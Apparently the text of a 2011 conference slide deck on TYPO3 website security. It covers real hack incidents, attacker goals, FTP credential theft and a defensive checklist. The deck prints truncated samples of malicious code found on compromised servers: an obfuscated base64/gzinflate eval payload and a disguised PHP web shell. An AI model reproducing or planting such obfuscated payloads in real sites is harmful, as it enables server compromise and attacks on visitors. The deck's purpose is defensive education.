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April 2011

"Viagra Hack"

• Searching for "Viagra" lists unrelated pages 
in Google
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Beispiel
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Beispiel
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"Exclusive: Many TYPO3 Sites have been hacked"

April 27, 2011: A vulnerability in TYPO3 appararently  
allows attackers to modify websites so that visitors are 
directed to pharmacy sites when searching Google
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July 2011

Data Theft at Retailer Chain

Message left by the attackers on homepage:

I will buy my iced tea now at somewhere else
I now have "secured" the servers :)
Hacked in 5 mins, got 2 million customer data sets, 
morons

Nobody feels responsible ;)
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July 2011

Data Theft at Political Party
Message left by the attackers on the server:

"A reasonably up-to-date TYPO3 version would have made 
this attack impossible, an up-to-date PHP version would have 
made it more difficult and having a look at Munin from time to 
time would have been an advantage.

You are now facing the cost that you have saved in the past 
years not updating your IT" 
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A few 
years 
ago...

www.flickr.com/photos/light_arted/3157290392/
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www.flickr.com/photos/joshuadelaughter/2878302498

"Skript kiddies"
defacing websites
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Motivation:

Fun, Honor
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Today:
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Organized Crime

• Goals

• Data Theft, Identity Theft, Fraud

• Method:

• Hacking Websites
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Goals

• Distribute Malware

• Fraud via phishing

• Ausspähen von Daten

• Send Spam

• Attack Websites and Servers (ddos)

• Manipulate Search Results

• Offer illegal Downloads
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Is TYPO3 insecure?
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Examples for malicious 
Code
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Code in 
index.php, index.html
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<? eval(gzinflate(base64_decode('
1VptUxs5Ev6eqvwHRcuCXevx+AUI8RvJAlmogoSA
2bstknKNPbKtY94yowF82fz365Y0mrExsEA2uc0H
0pJaj1qt7larx9u9znY0jQh5/uz5s9crzkjwMOiu
DI7fn/bP11Rz7VMbx8Zx6JsRbEA/znu9EjPHCxyf
mdGso8AReTMRFhhk24wn6fA/bCTMuG6bcZ8liTPJ
F9BtM858h3seT3IE02N4xtxjAy3m24PDvVPYBXSt
fTpf07Ii1ygMBAuEmEX5aoW+ObSbQMKPBnMbd/ww
DXKpVFOPJkwMBPfZwOM+FyUeiEvHK2WsOCIH1j6V
y5J/u4d/Oy923+/0/zjeI1Phe+T47NfDgx1CLdv+
V3PHtnf7u+Tf+/2jQ1Kv1kg/doKE4yE6nm3vvaOI
QAihUyGilm1fXV1Vr5rVMJ7Y/RP7GhHrCKFJSxTm
V13hUiUCDmqKOa6iBBce6x3vH5Mjhx+yuGOrHjno
M+EQXNNin1N+2aU7SqVWH3RKiVZwlwp2LWxEb5PR
1IlBQ12ehNbW1sYrq06JrdASMfMYkUekZoySREv2
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Web Shell
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Web Shell
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666
<?php /* WARNING: This file is protected 
by copyright law. To reverse engineer or 
decode this file is strictly prohibited. 
*/
$o="QAAACg07OHdvdwoNKChUc2Z1cwAAbmlgJ2Rm
a2t0Cg1uYScvJgAAYXJpZHNuaGlYYn9udHN0LwAA
JWBic2puZHVoc25qYiUuLiqAJ3wCJScBqS8BkGsD
EC8jcnRiZCsgACcjAGAuJzonYn93a2hjYi8lCAAn
JSsnBIYvLi48J3Vic3J1aQBGJy8vYWtoZnMuA5In
LCcA9QQ";
eval(base64_decode("JGxsbD0wO2V2YWwoYmFz
RPAACenoKDWJ1dWh1WHVid2gK4i8ABDIuPAoNR25
gaWh1YlgG4HVYIIBmZQGwL1NVUkIBsnRic1hqZmA
ABG5kWHZyaHNidFh1cmkL4S83hAAB8SNwbmkJkHR
zdXNoa2hwYnUAAC90cmV0c3UvV09XWEhUKzchQSs
0DmA6OiclApAlBrBjYmFuaQwgZ8R0EvEEgSUrD6s
FYRPBAWAHi2B3ZA6gJ3zjAAHRFZ8HQG53dBU7AUM
vISNmdXUrIwxGbDolJRWAA/FudFgBMGZ
+LwGhCgB8RCNhD
+BmZG8BAidmdCcC0DkjcQLkBHAEEHNocnd3DdAjb
C4nJgzQQEtIRR4ARktUBQEB4AeQA6JcJSNsJVouP
HoAcHp6J2JrdGInfAYBEfMCQGtmdG8+AGJ0AqICQ
wO1BOQBUAoNI1hVQlZSQjAAVFMDcApCWGpidWBiL
yNYREhIAENMTkIrI1hAQlMAYFdIVFMSwQu2xPIDl
gwNJm50HFAvIwvQDSAAcAWwI3EKYApBBA0HAHRvc
WJ1ASAlQmp3NCHAJ1IAAGljYnNiZHNmZWtiJyQ2P
yUACzwnKChEcnV1YmlzJwLAdC0ALxEAAERISUFOQ
FJVRlNOSEknRkkAIUMnVEJTU05JQFQv1GJqd3MWM
CDBcmkH4Fh0cnVrFqEAwGRoaGxuIDAFZkk0c3RvA
ZIlLBAjAiEIgSU8KnET8G7+mTQhBFQDcAKiBDECp
TFgcwFSPCcB8AVvJSsCovKAFXIY9AZEFlZcJQhYW
g6RVGJzJ3NvbigAdCcFAycV8CdqZmlyZmsnVFJVH
ABLCg0J0BNhDPBYZnJzaGFua2tYAcZuaWRrcmNiC
+AzcQRxTmEnALEEsGJAEGkJ4GZ1ZG8ncWZ1bhVRd
CdwbgAAc28nY2J0ZHVud3NodXQnL4AABbB0Lidma
WMndGZxYiducyfffDWABxEpGlEQoQzCBz8DMSYND
wnwKKAoEAm3JSHSQRygDPBiLpAnL0S2ISU4EWJpc
S8lJ4ADzVVeWFRTVRxQNKEkkTBRI3ENoAMWOhWAR
iFxGxFpZmoPMQawY2JkSXEjcVw3L/
AC4CcjcWZrcgG
+NgGxCAYtwi8lb3NzAop3PSgoJSsAonQAs3R0awC
TYQHVW
+AzABA20AkRaWJiY2tiLkCDNCB3aDUwBxIqwisjA
cU6RxA3AjAjD
+QCcCcpOicKoGJgf2kKowvBLiklOiUpAVgEYgFgE
pA8MRdiNWU/
PFwlI8EYDhZaBnQCryHROjYFcjHDLWUH0C4uAwwK
DXwKDSceAhaAJTglKQuIJNFUYiYAa2EL0QoNJ9AC
hW9zamt0d2JkbgPiZmtkb2Z1EFAKEUEhKfBVkWtu
aiRwOjSPJzcEMQERJwEjaGFkgGJkcmmBKgAusCiD
NkAnaD3QKsB1AHFewicvY3BoaWN0LiskgSc3CbBy
aQQiYmMpUigoRnJzb0FQGOZuZGYEwQdwa2hgK3BS
ACagKCgA4kKhQwAASEkgUydBSFVASFMnRkVIUgAE
UydXRlRUUEhVQyYmJgOAd2YsIXR0BgAlA3IA0XBo
dWMBgGpjMlgA8cAkAcYBECpkdX53YmMnAYEpJxpA
aXIhwWtrcOBjMi8jAUEU8AOgb2h0c1h
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How does the Code get 
onto my Server?
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 61.100.6.41 D 2826 0 /muster/index.php
 61.100.6.41 U 4699 0 /muster/index.php
 61.100.6.41 D 82 0 /projekt1/ksk/index.php
 61.100.6.41 U 1955 0 /projekt1/ksk/index.php
 61.100.6.41 D 88 0 /projekt1/schlecker/index.php
 61.100.6.41 U 1961 0 /projekt1/schlecker/index.php
 61.100.6.41 D 149 0 /projekt1/typo3conf/index.html
 61.100.6.41 U 215 0 /projekt1/typo3conf/index.html
 61.100.6.41 D 9078 0 /projekt1/typo3conf/localconf.php
 61.100.6.41 U 10951 1 /projekt1/typo3conf/localconf.php
 61.100.6.41 D 76210 0 /projekt1/typo3conf/temp_CACHED_ps1390_ext_localconf.php
 61.100.6.41 U 78077 2 /projekt1/typo3conf/temp_CACHED_ps1390_ext_localconf.php
 61.100.6.41 D 61643 0 /projekt1/typo3conf/temp_CACHED_psfa20_ext_localconf.php
 61.100.6.41 U 63516 1 /projekt1/typo3conf/temp_CACHED_psfa20_ext_localconf.php
 61.100.6.41 D 843 0 /projekt1/typo3temp/rtehtmlarea/AboutEditor_compressed.js
 61.100.6.41 U 930 0 /projekt1/typo3temp/rtehtmlarea/AboutEditor_compressed.js

1. FTP
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www.flickr.com/photos/rolandinsh/494850383
www.flickr.com/photos/maor-x/2972220102

www.flickr.com/photos/danielle_scott/4489965351

Sonntag, 23. Oktober 11



Sonntag, 23. Oktober 11



Sonntag, 23. Oktober 11



filezilla-project.org:
"It's not a bug it's a design decision.
The settings files are stored in a 
directory that can only be read by your 
user account and nobody else. If an 
attacker can read that file he already 
has full access to anything." 
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FTP Configuration

TextTextText

fileadmin/user_upload/images
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2. Security Flaws
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How to secure TYPO3 
Installations?
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Restrict Access to Files
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Use Secure Passwords

• Is this a secure password?

                Xt3!vM8-

Sonntag, 23. Oktober 11



Use Secure Passwords

• 9 or more characters

• Mixed upper/lowercase, special characters

• Do not use the same password everywhere

• Use a password manager

• Passwords are stored as md5 hash, but...
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md5.rednoize.com
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ext: checkmysite

• Analyze index.php for malicious code

• Notify Administrator via E-Mail

• Put "Maintenance" Message on Website

• Redirect to another Site 

• Available in TER
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Check List

• Keep your software up-to-date

• Browser, TYPO3, Extensions, Server

• Do not use FTP

• Do not store passwords in applications
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Check List

• Create backups (offsite storage)

• Subscribe to TYPO3-announce mailing list

• Remove software that is not needed
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Questions ?
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